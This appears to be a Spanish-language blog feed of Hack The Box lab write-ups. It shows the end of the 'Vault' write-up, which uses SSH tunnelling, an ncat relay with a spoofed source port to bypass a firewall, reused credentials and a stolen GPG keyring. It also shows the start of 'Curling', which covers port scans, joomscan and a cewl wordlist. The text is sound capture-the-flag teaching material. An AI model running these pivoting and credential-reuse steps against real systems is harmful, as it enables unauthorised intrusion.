<link href="/mermaid/mermaid.css" type="text/css" rel="stylesheet"/>
<script defer src="/mermaid/mermaid.js">mermaid.initialize({startOnLoad:true});</script>
<div class="mermaid" align="left" >
sequenceDiagram
    participant xbytemx
    participant ubuntu
    participant DNS
    participant Firewall
    participant Vault

    xbytemx->ubuntu: ssh -f -N -D 9050 dave@10.10.10.109
    Note right of ubuntu: Establecemos el túnel para proxear
    xbytemx->DNS: proxychains ssh dave@192.168.122.4
    Note right of DNS: Nos conectamos por ssh sobre el túnel a DNS
    DNS-->>Vault: PERMITIDO src:TCP/53,TCP/4444 dst:TCP/987
    Vault-->>DNS: PERMITIDO src:TCP/53 dst:ALL?

</div>

<h1 id="connecting-to-vault">Connecting to Vault</h1>
<p>Ahora que hemos comprendido mejor como podríamos bypasear las reglas del firewall, podemos construir un listener del puerto 987 de Vault:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ proxychains ssh dave@192.168.122.4 &#34;ncat -l 3001 --sh-exec \&#34;ncat 192.168.5.2 987 --source-port=4444\&#34;&#34;
</span></span><span style="display:flex;"><span>ProxyChains-3.1 (http://proxychains.sf.net)
</span></span><span style="display:flex;"><span>|S-chain|-&lt;&gt;-127.0.0.1:9050-&lt;&gt;&lt;&gt;-192.168.122.4:22-&lt;&gt;&lt;&gt;-OK
</span></span><span style="display:flex;"><span>The authenticity of host &#39;192.168.122.4 (192.168.122.4)&#39; can&#39;t be established.
</span></span><span style="display:flex;"><span>ECDSA key fingerprint is SHA256:pV1weQff3mDVKDCfervdnstlBaTvDBnCu2eQfUegT3w.
</span></span><span style="display:flex;"><span>Are you sure you want to continue connecting (yes/no)? yes
</span></span><span style="display:flex;"><span>Warning: Permanently added &#39;192.168.122.4&#39; (ECDSA) to the list of known hosts.
</span></span><span style="display:flex;"><span>dave@192.168.122.4&#39;s password:
</span></span></code></pre></div><p>Lo que hace este comando es usar el proxychain para lanzar un ssh hacia DNS, el cual lanza el comando ncat como listener en el puerto 3001, que a su vez lanza el comando ncat hacia Vault en el puerto 987, usando el puerto origen 4444 que ya vimos que esta permitido.</p>
<p>Con un nmap veremos que el servicio del puerto 987 de la 192.168.5.2 es en realidad un servidor SSH, por lo que conectándonos por ssh sobre el proxychains entraremos por fin a vault.</p>
<p>Usaremos las credenciales que encontramos en DNS sobre dave (recordemos los logs de auth):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ proxychains ssh dave@192.168.122.4 -p3001
</span></span><span style="display:flex;"><span>ProxyChains-3.1 (http://proxychains.sf.net)
</span></span><span style="display:flex;"><span>|S-chain|-&lt;&gt;-127.0.0.1:9050-&lt;&gt;&lt;&gt;-192.168.122.4:3001-&lt;&gt;&lt;&gt;-OK
</span></span><span style="display:flex;"><span>The authenticity of host &#39;[192.168.122.4]:3001 ([192.168.122.4]:3001)&#39; can&#39;t be established.
</span></span><span style="display:flex;"><span>ECDSA key fingerprint is SHA256:Wo70Zou+Hq5m/+G2vuKwUnJQ4Rwbzlqhq2e1JBdjEsg.
</span></span><span style="display:flex;"><span>Are you sure you want to continue connecting (yes/no)? yes
</span></span><span style="display:flex;"><span>Warning: Permanently added &#39;[192.168.122.4]:3001&#39; (ECDSA) to the list of known hosts.
</span></span><span style="display:flex;"><span>dave@192.168.122.4&#39;s password:
</span></span><span style="display:flex;"><span>Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-116-generic i686)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span> * Documentation:  https://help.ubuntu.com
</span></span><span style="display:flex;"><span> * Management:     https://landscape.canonical.com
</span></span><span style="display:flex;"><span> * Support:        https://ubuntu.com/advantage
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>96 packages can be updated.
</span></span><span style="display:flex;"><span>49 updates are security updates.
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Last login: Mon Sep  3 16:48:00 2018
</span></span><span style="display:flex;"><span>dave@vault:~$ ls
</span></span><span style="display:flex;"><span>root.txt.gpg
</span></span><span style="display:flex;"><span>dave@vault:~$
</span></span></code></pre></div><h1 id="get-roottxtgpg">get root.txt.gpg</h1>
<p>Ya que entramos a Vault, encontramos un archivo en el home de dave, el cual es un archivo gpg. Lo descargamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ proxychains scp -P 3001 dave@192.168.122.4:/home/dave/root.txt.gpg .
</span></span><span style="display:flex;"><span>ProxyChains-3.1 (http://proxychains.sf.net)
</span></span><span style="display:flex;"><span>|S-chain|-&lt;&gt;-127.0.0.1:9050-&lt;&gt;&lt;&gt;-192.168.122.4:3001-&lt;&gt;&lt;&gt;-OK
</span></span><span style="display:flex;"><span>dave@192.168.122.4&#39;s password:
</span></span><span style="display:flex;"><span>Permission denied, please try again.
</span></span><span style="display:flex;"><span>dave@192.168.122.4&#39;s password:
</span></span><span style="display:flex;"><span>root.txt.gpg                                                                                         100%  629     4.0KB/s   00:00
</span></span></code></pre></div><p>Explorando las maquinas, encontraremos que en ubuntu podemos acceder al <em>secring</em> de dave, por lo que lo descargamos e importamos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ gpg --import ubuntu-gnupg/secring.gpg
</span></span><span style="display:flex;"><span>gpg: clave 9067DED00FDFBFE4: clave pública &#34;david &lt;dave@david.com&gt;&#34; importada
</span></span><span style="display:flex;"><span>gpg: clave 9067DED00FDFBFE4: clave secreta importada
</span></span><span style="display:flex;"><span>gpg: Cantidad total procesada: 1
</span></span><span style="display:flex;"><span>gpg:               importadas: 1
</span></span><span style="display:flex;"><span>gpg:       claves secretas leídas: 1
</span></span><span style="display:flex;"><span>gpg:   claves secretas importadas: 1
</span></span></code></pre></div><p>Procedemos a usar la clave secreta importada para descifrar el archivo root.txt.gpg:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/vault$ gpg -d root.txt.gpg &gt; root.txt
</span></span><span style="display:flex;"><span>gpg: cifrado con clave de 4096 bits RSA, ID C778C610D1EB1F03, creada el 2018-07-24
</span></span><span style="display:flex;"><span>      &#34;david &lt;dave@david.com&gt;&#34;
</span></span></code></pre></div><h1 id="cat-roottxt">cat root.txt</h1>
<p>&hellip; We got root flag.</p>
<hr>
<p>Gracias por llegar hasta aquí, hasta la próxima!</p>]]></content></item><item><title>HTB write-up: Curling</title><link>https://www.xbyte.mx/posts/htb_writeup_-_curling/</link><pubDate>Sat, 30 Mar 2019 15:52:48 -0600</pubDate><guid>https://www.xbyte.mx/posts/htb_writeup_-_curling/</guid><description>&lt;p&gt;Esta fue una maquina llena de guiños, no por eso fácil, pero al menos lo suficiente entretenida para seguir en linea recta. Llegar al CMS, ejecutar un RCE, escalar a un usuario y después aprovecharse de un root muy confianzudo.&lt;/p&gt;</description><content type="html"><![CDATA[<p>Esta fue una maquina llena de guiños, no por eso fácil, pero al menos lo suficiente entretenida para seguir en linea recta. Llegar al CMS, ejecutar un RCE, escalar a un usuario y después aprovecharse de un root muy confianzudo.</p>
<h1 id="machine-info">Machine info</h1>
<p>La información que tenemos de la máquina es:</p>
<table>
  <thead>
      <tr>
          <th>Name</th>
          <th>Maker</th>
          <th>OS</th>
          <th>IP Address</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td><img src="https://www.hackthebox.eu/storage/avatars/50cbb1d2e9b638140641af95a7582ef6_thumb.png" alt="curling image"> <a href="https://www.hackthebox.eu/home/machines/profile/160">curling</a></td>
          <td><a href="https://www.hackthebox.eu/home/users/profile/29267">L4mpje</a></td>
          <td>Linux</td>
          <td>10.10.10.150</td>
      </tr>
  </tbody>
</table>
<p>Su tarjeta de presentación es:</p>
<p><img src="/img/htb-curling/cardinfo.png" alt="cardinfo"></p>
<h1 id="port-scanning">Port Scanning</h1>
<p>Iniciamos por ejecutar un <code>nmap</code> y un <code>masscan</code> para identificar puertos udp y tcp abiertos:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -sS -p- --open -v -n 10.10.10.150
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 12:23 CST
</span></span><span style="display:flex;"><span>Initiating Ping Scan at 12:23
</span></span><span style="display:flex;"><span>Scanning 10.10.10.150 [4 ports]
</span></span><span style="display:flex;"><span>Completed Ping Scan at 12:23, 0.43s elapsed (1 total hosts)
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan at 12:23
</span></span><span style="display:flex;"><span>Scanning 10.10.10.150 [65535 ports]
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.150
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.150
</span></span><span style="display:flex;"><span>SYN Stealth Scan Timing: About 36.31% done; ETC: 12:25 (0:00:54 remaining)
</span></span><span style="display:flex;"><span>Completed SYN Stealth Scan at 12:25, 111.07s elapsed (65535 total ports)
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.150
</span></span><span style="display:flex;"><span>Host is up (0.23s latency).
</span></span><span style="display:flex;"><span>Not shown: 62510 closed ports, 3023 filtered ports
</span></span><span style="display:flex;"><span>Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE
</span></span><span style="display:flex;"><span>22/tcp open  ssh
</span></span><span style="display:flex;"><span>80/tcp open  http
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Read data files from: /usr/bin/../share/nmap
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 111.67 seconds
</span></span><span style="display:flex;"><span>           Raw packets sent: 126700 (5.575MB) | Rcvd: 104758 (4.190MB)
</span></span></code></pre></div><ul>
<li><code>-sS</code> para escaneo TCP vía SYN</li>
<li><code>-p-</code> para todos los puertos TCP</li>
<li><code>--open</code> para que solo me muestre resultados de puertos abiertos</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
<li><code>-v</code> para modo <em>verboso</em></li>
</ul>
<p>Corroboremos con <code>masscan</code>:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# masscan -e tun0 -p0-65535,U:0-65535 --rate 500 10.10.10.150
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-01-06 18:46:43 GMT
</span></span><span style="display:flex;"><span> -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
</span></span><span style="display:flex;"><span>Initiating SYN Stealth Scan
</span></span><span style="display:flex;"><span>Scanning 1 hosts [131072 ports/host]
</span></span><span style="display:flex;"><span>Discovered open port 80/tcp on 10.10.10.150
</span></span><span style="display:flex;"><span>Discovered open port 22/tcp on 10.10.10.150
</span></span></code></pre></div><ul>
<li><code>-e tun0</code> para ejecutarlo nada mas en la interface tun0</li>
<li><code>-p0-65535,U:0-65535</code> TODOS los puertos (TCP y UDP)</li>
<li><code>--rate 500</code> para mandar 500pps y no sobre cargar la VPN ):</li>
</ul>
<p>Como podemos ver los puertos son los mismos, por lo que iniciamos por identificar los servicios nuevamente con <code>nmap</code>.</p>
<h1 id="services-identification">Services Identification</h1>
<p>Lanzamos <code>nmap</code> con los parámetros habituales para la identificación (-sC -sV):</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>root@laptop:~# nmap -p80,22 -sV -sC -n 10.10.10.150
</span></span><span style="display:flex;"><span>Starting Nmap 7.70 ( https://nmap.org ) at 2019-01-06 12:45 CST
</span></span><span style="display:flex;"><span>Nmap scan report for 10.10.10.150
</span></span><span style="display:flex;"><span>Host is up (0.22s latency).
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PORT   STATE SERVICE VERSION
</span></span><span style="display:flex;"><span>22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
</span></span><span style="display:flex;"><span>| ssh-hostkey:
</span></span><span style="display:flex;"><span>|   2048 8a:d1:69:b4:90:20:3e:a7:b6:54:01:eb:68:30:3a:ca (RSA)
</span></span><span style="display:flex;"><span>|   256 9f:0b:c2:b2:0b:ad:8f:a1:4e:0b:f6:33:79:ef:fb:43 (ECDSA)
</span></span><span style="display:flex;"><span>|_  256 c1:2a:35:44:30:0c:5b:56:6a:3f:a5:cc:64:66:d9:a9 (ED25519)
</span></span><span style="display:flex;"><span>80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
</span></span><span style="display:flex;"><span>|_http-generator: Joomla! - Open Source Content Management
</span></span><span style="display:flex;"><span>|_http-server-header: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>|_http-title: Home
</span></span><span style="display:flex;"><span>Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
</span></span><span style="display:flex;"><span>Nmap done: 1 IP address (1 host up) scanned in 18.54 seconds
</span></span></code></pre></div><ul>
<li><code>-sC</code> para que ejecute los scripts safe-discovery de nse</li>
<li><code>-sV</code> para que me traiga el banner del puerto</li>
<li><code>-p80,22</code> para unicamente los puertos TCP/22 y TCP/80</li>
<li><code>-n</code> para no ejecutar resoluciones</li>
</ul>
<p>Como podemos ver por la identificación de servicios, tenemos un servidor ssh y un servidor apache 2.4.29. Más aun sobre el servidor apache tenemos ejecutando un Joomla, por lo que usaremos jooomscan como siguiente etapa.</p>
<h1 id="joomscan">Joomscan</h1>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/git/joomscan$ perl joomscan.pl -u http://10.10.10.150/
</span></span><span style="display:flex;"><span>    ____  _____  _____  __  __  ___   ___    __    _  _
</span></span><span style="display:flex;"><span>   (_  _)(  _  )(  _  )(  \/  )/ __) / __)  /__\  ( \( )
</span></span><span style="display:flex;"><span>  .-_)(   )(_)(  )(_)(  )    ( \__ \( (__  /(__)\  )  (
</span></span><span style="display:flex;"><span>  \____) (_____)(_____)(_/\/\_)(___/ \___)(__)(__)(_)\_)
</span></span><span style="display:flex;"><span>                        (1337.today)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    --=[OWASP JoomScan
</span></span><span style="display:flex;"><span>    +---++---==[Version : 0.0.7
</span></span><span style="display:flex;"><span>    +---++---==[Update Date : [2018/09/23]
</span></span><span style="display:flex;"><span>    +---++---==[Authors : Mohammad Reza Espargham , Ali Razmjoo
</span></span><span style="display:flex;"><span>    --=[Code name : Self Challenge
</span></span><span style="display:flex;"><span>    @OWASP_JoomScan , @rezesp , @Ali_Razmjo0 , @OWASP
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Processing http://10.10.10.150/ ...
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] FireWall Detector
</span></span><span style="display:flex;"><span>[++] Firewall not detected
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Detecting Joomla Version
</span></span><span style="display:flex;"><span>[++] Joomla 3.8.8
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Core Joomla Vulnerability
</span></span><span style="display:flex;"><span>[++] Target Joomla core is not vulnerable
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Checking Directory Listing
</span></span><span style="display:flex;"><span>[++] directory has directory listing :
</span></span><span style="display:flex;"><span>http://10.10.10.150/administrator/components
</span></span><span style="display:flex;"><span>http://10.10.10.150/administrator/modules
</span></span><span style="display:flex;"><span>http://10.10.10.150/administrator/templates
</span></span><span style="display:flex;"><span>http://10.10.10.150/images/banners
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Checking apache info/status files
</span></span><span style="display:flex;"><span>[++] Readable info/status files are not found
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] admin finder
</span></span><span style="display:flex;"><span>[++] Admin page : http://10.10.10.150/administrator/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Checking robots.txt existing
</span></span><span style="display:flex;"><span>[++] robots.txt is not found
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Finding common backup files name
</span></span><span style="display:flex;"><span>[++] Backup files are not found
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Finding common log files name
</span></span><span style="display:flex;"><span>[++] error log is not found
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>[+] Checking sensitive config.php.x file
</span></span><span style="display:flex;"><span>[++] Readable config files are not found
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>Your Report : reports/10.10.10.150/
</span></span></code></pre></div><p>Joomscan nos trae información sobre la versión de joomla, así como una evaluación básica sobre información sensible y archivos por defecto. Sigamos a continuación analizando el home.</p>
<h1 id="httpie-to-indexphp-and-follow">httpie to /index.php and follow</h1>
<p>Tomando una captura de pantalla de la pagina tenemos lo siguiente:</p>
<p><img src="/img/htb-curling/http-root.png" alt="www-root"></p>
<p>Realizaremos un httpie hacia la dirección:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ http http://10.10.10.150
</span></span><span style="display:flex;"><span>HTTP/1.1 200 OK
</span></span><span style="display:flex;"><span>Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
</span></span><span style="display:flex;"><span>Connection: Keep-Alive
</span></span><span style="display:flex;"><span>Content-Encoding: gzip
</span></span><span style="display:flex;"><span>Content-Length: 3882
</span></span><span style="display:flex;"><span>Content-Type: text/html; charset=utf-8
</span></span><span style="display:flex;"><span>Date: Mon, 07 Jan 2019 05:28:02 GMT
</span></span><span style="display:flex;"><span>Expires: Wed, 17 Aug 2005 00:00:00 GMT
</span></span><span style="display:flex;"><span>Keep-Alive: timeout=5, max=100
</span></span><span style="display:flex;"><span>Last-Modified: Mon, 07 Jan 2019 05:28:02 GMT
</span></span><span style="display:flex;"><span>Pragma: no-cache
</span></span><span style="display:flex;"><span>Server: Apache/2.4.29 (Ubuntu)
</span></span><span style="display:flex;"><span>Set-Cookie: c0548020854924e0aecd05ed9f5b672b=ct1018vvceb7ibn2ke49m0h35e; path=/; HttpOnly
</span></span><span style="display:flex;"><span>Vary: Accept-Encoding
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>omitted
</span></span><span style="display:flex;"><span>...
</span></span><span style="display:flex;"><span>        &lt;!-- Footer --&gt;
</span></span><span style="display:flex;"><span>        &lt;footer class=&#34;footer&#34; role=&#34;contentinfo&#34;&gt;
</span></span><span style="display:flex;"><span>                &lt;div class=&#34;container&#34;&gt;
</span></span><span style="display:flex;"><span>                        &lt;hr /&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>                        &lt;p class=&#34;pull-right&#34;&gt;
</span></span><span style="display:flex;"><span>                                &lt;a href=&#34;#top&#34; id=&#34;back-top&#34;&gt;
</span></span><span style="display:flex;"><span>                                        Back to Top                             &lt;/a&gt;
</span></span><span style="display:flex;"><span>                        &lt;/p&gt;
</span></span><span style="display:flex;"><span>                        &lt;p&gt;
</span></span><span style="display:flex;"><span>                                &amp;copy; 2019 Cewl Curling site!                  &lt;/p&gt;
</span></span><span style="display:flex;"><span>                &lt;/div&gt;
</span></span><span style="display:flex;"><span>        &lt;/footer&gt;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>      &lt;!-- secret.txt --&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><p>Omití la parte superior, porque lo interesante se encuentra abajo; un comentario haciendo referencia hacia un archivo <code>secret.txt</code> y en el footer, la referencia al comando <code>cewl</code>. Analizemos ambos:</p>
<h1 id="cewl">Cewl</h1>
<p>Ejecutamos directamente cewl en la dirección y obtendremos la siguiente lista:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>xbytemx@laptop:~/htb/curling$ cewl http://10.10.10.150
</span></span><span style="display:flex;"><span>CeWL 5.4.4.1 (Arkanoid) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
</span></span><span style="display:flex;"><span>the
</span></span><span style="display:flex;"><span>curling
</span></span><span style="display:flex;"><span>Curling
</span></span><span style="display:flex;"><span>site
</span></span><span style="display:flex;"><span>you
</span></span><span style="display:flex;"><span>and
</span></span><span style="display:flex;"><span>are
</span></span><span style="display:flex;"><span>Print
</span></span><span style="display:flex;"><span>for
</span></span><span style="display:flex;"><span>Home
</span></span><span style="display:flex;"><span>Cewl
</span></span><span style="display:flex;"><span>Uncategorised
</span></span><span style="display:flex;"><span>The
</span></span><span style="display:flex;"><span>your
</span></span><span style="display:flex;"><span>first
</span></span><span style="display:flex;"><span>post
</span></span><span style="display:flex;"><span>Begin
</span></span><span style="display:flex;"><span>Content
</span></span><span style="display:flex;"><span>User
</span></span><span style="display:flex;"><span>best
</span></span><span style="display:flex;"><span>End
</span></span><span style="display:flex;"><span>Right
</span></span><span style="display:flex;"><span>Sidebar
</span></span><span style="display:flex;"><span>Username
</span></span><span style="display:flex;"><span>Password
</span></span><span style="display:flex;"><span>Forgot
</span></span><span style="display:flex;"><span>Details
</span></span><span style="display:flex;"><span>Written
</span></span><span style="display:flex;"><span>Super
</span></span><span style="display:flex;"><span>Category
</span></span><span style="display:flex;"><span>Published
</span></span><span style="display:flex;"><span>May
</span></span><span style="display:flex;"><span>Hits
</span></span><span style="display:flex;"><span>down
</span></span><span style="display:flex;"><span>know
</span></span><span style="display:flex;"><span>its
</span></span><span style="display:flex;"><span>true
</span></span><span style="display:flex;"><span>What
</span></span><span style="display:flex;"><span>object
</span></span><span style="display:flex;"><span>article
</span></span><span style="display:flex;"><span>planet
</span></span><span style="display:flex;"><span>get
</span></span><span style="display:flex;"><span>sheet
</span></span><span style="display:flex;"><span>can
</span></span><span style="display:flex;"><span>feet
</span></span><span style="display:flex;"><span>droplets
</span></span><span style="display:flex;"><span>water
</span></span><span style="display:flex;"><span>ice
</span></span><span style="display:flex;"><span>from
</span></span><span style="display:flex;"><span>more
</span></span><span style="display:flex;"><span>games
</span></span><span style="display:flex;"><span>Watching
</span></span><span style="display:flex;"><span>time
</span></span><span style="display:flex;"><span>There
</span></span><span style="display:flex;"><span>this
</span></span><span style="display:flex;"><span>amazing
</span></span><span style="display:flex;"><span>username
</span></span><span style="display:flex;"><span>password
</span></span><span style="display:flex;"><span>Body
</span></span><span style="display:flex;"><span>Header
</span></span><span style="display:flex;"><span>You
</span></span><span style="display:flex;"><span>here
</span></span><span style="display:flex;"><span>Main
</span></span><span style="display:flex;"><span>Menu
</span></span><span style="display:flex;"><span>Login
</span></span><span style="display:flex;"><span>Form
</span></span><span style="display:flex;"><span>Remember
</span></span><span style="display:flex;"><span>Log
</span></span><span style="display:flex;"><span>Footer
</span></span><span style="display:flex;"><span>Back
</span></span><span style="display:flex;"><span>Top
</span></span><span style="display:flex;"><span>secret
</span></span><span style="display:flex;"><span>txt
</span></span><span style="display:flex;"><span>with
</span></span><span style="display:flex;"><span>end
</span></span><span style="display:flex;"><span>Good
</span></span><span style="display:flex;"><span>question
</span></span><span style="display:flex;"><span>First
</span></span><span style="display:flex;"><span>let
</span></span><span style="display:flex;"><span>bit
</span></span><span style="display:flex;"><span>jargon
</span></span><span style="display:flex;"><span>playing
</span></span><span style="display:flex;"><span>surface
</span></span><span style="display:flex;"><span>called
</span></span><span style="display:flex;"><span>Sheet
</span></span><span style="display:flex;"><span>dimensions
</span></span><span style="display:flex;"><span>vary
</span></span><span style="display:flex;"><span>but
</span></span><span style="display:flex;"><span>they
</span></span><span style="display:flex;"><span>usually
</span></span><span style="display:flex;"><span>around
</span></span><span style="display:flex;"><span>long
</span></span><span style="display:flex;"><span>about
</span></span><span style="display:flex;"><span>wide
</span></span><span style="display:flex;"><span>covered
</span></span><span style="display:flex;"><span>tiny
</span></span><span style="display:flex;"><span>that
</span></span><span style="display:flex;"><span>become
</span></span><span style="display:flex;"><span>cause
</span></span><span style="display:flex;"><span>stones
</span></span><span style="display:flex;"><span>curl
</span></span><span style="display:flex;"><span>deviate
</span></span><span style="display:flex;"><span>straight
</span></span><span style="display:flex;"><span>path
</span></span><span style="display:flex;"><span>These
</span></span><span style="display:flex;"><span>known
</span></span><span style="display:flex;"><span>pebble
</span></span><span style="display:flex;"><span>absolutely
</span></span><span style="display:flex;"><span>sport
</span></span><span style="display:flex;"><span>watch
</span></span><span style="display:flex;"><span>television
</span></span><span style="display:flex;"><span>particularly
</span></span><span style="display:flex;"><span>viewers
</span></span><span style="display:flex;"><span>looking
</span></span><span style="display:flex;"><span>escape
</span></span><span style="display:flex;"><span>frantic
</span></span><span style="display:flex;"><span>faster
</span></span><span style="display:flex;"><span>bigger
</span></span><span style="display:flex;"><span>higher
</span></span><span style="display:flex;"><span>grind
</span></span><span style="display:flex;"><span>most
</span></span><span style="display:flex;"><span>televised
</span></span><span style="display:flex;"><span>basketball
</span></span><span style="display:flex;"><span>hockey
</span></span><span style="display:flex;"><span>hyped
</span></span><span style="display:flex;"><span>feel
</span></span><span style="display:flex;"><span>like
</span></span><span style="display:flex;"><span>drinking
</span></span><span style="display:flex;"><span>Red
</span></span><span style="display:flex;"><span>Bull
</span></span><span style="display:flex;"><span>doing
</span></span><span style="display:flex;"><span>jumping
</span></span><span style="display:flex;"><span>jacks
</span></span><span style="display:flex;"><span>makes
</span></span><span style="display:flex;"><span>want
</span></span><span style="display:flex;"><span>drink
</span></span><span style="display:flex;"><span>glass
</span></span><span style="display:flex;"><span>red
</span></span><span style="display:flex;"><span>wine
</span></span><span style="display:flex;"><span>lie
</span></span><span style="display:flex;"><span>shag
</span></span><span style="display:flex;"><span>carpet
</span></span><span style="display:flex;"><span>deliberate
</span></span><span style="display:flex;"><span>Thoughtful
</span></span><span style="display:flex;"><span>even
</span></span><span style="display:flex;"><span>move
</span></span><span style="display:flex;"><span>very
</span></span><span style="display:flex;"><span>slowly
</span></span><span style="display:flex;"><span>players
</span></span><span style="display:flex;"><span>spend
</span></span><span style="display:flex;"><span>lot
</span></span><span style="display:flex;"><span>talking
</span></span><span style="display:flex;"><span>strategy
</span></span><span style="display:flex;"><span>nods
</span></span><span style="display:flex;"><span>quiet
</span></span><span style="display:flex;"><span>words
</span></span><span style="display:flex;"><span>encouragement
</span></span><span style="display:flex;"><span>rarely
</span></span><span style="display:flex;"><span>there
</span></span><span style="display:flex;"><span>disagreements
</span></span><span style="display:flex;"><span>When
</span></span><span style="display:flex;"><span>comes
</span></span><span style="display:flex;"><span>team
</span></span><span style="display:flex;"><span>member
</span></span><span style="display:flex;"><span>play
</span></span><span style="display:flex;"><span>their
</span></span><span style="display:flex;"><span>turn
</span></span><span style="display:flex;"><span>sliding
</span></span><span style="display:flex;"><span>stone
</span></span><span style="display:flex;"><span>moves
</span></span><span style="display:flex;"><span>elegant
</span></span><span style="display:flex;"><span>wind
</span></span><span style="display:flex;"><span>push
</span></span><span style="display:flex;"><span>off
</span></span><span style="display:flex;"><span>slide
</span></span><span style="display:flex;"><span>gentle
</span></span><span style="display:flex;"><span>release
</span></span><span style="display:flex;"><span>Such
</span></span><span style="display:flex;"><span>poise
</span></span><span style="display:flex;"><span>finesse
</span></span><span style="display:flex;"><span>Hey
</span></span><span style="display:flex;"><span>website
</span></span><span style="display:flex;"><span>Stay
</span></span><span style="display:flex;"><span>tuned
</span></span><span style="display:flex;"><span>content
</span></span><span style="display:flex;"><span>win
</span></span><span style="display:flex;"><span>Floris
</span></span><span style="display:flex;"><span>Email
</span></span><span style="display:flex;"><span>Address
</span></span><span style="display:flex;"><span>RSS
</span></span><span style="display:flex;"><span>Atom
</span></span><span style="display:flex;"><span>email
</span></span><span style="display:flex;"><span>address
</span></span><span style="display:flex;"><span>account
</span></span><span style="display:flex;"><span>will
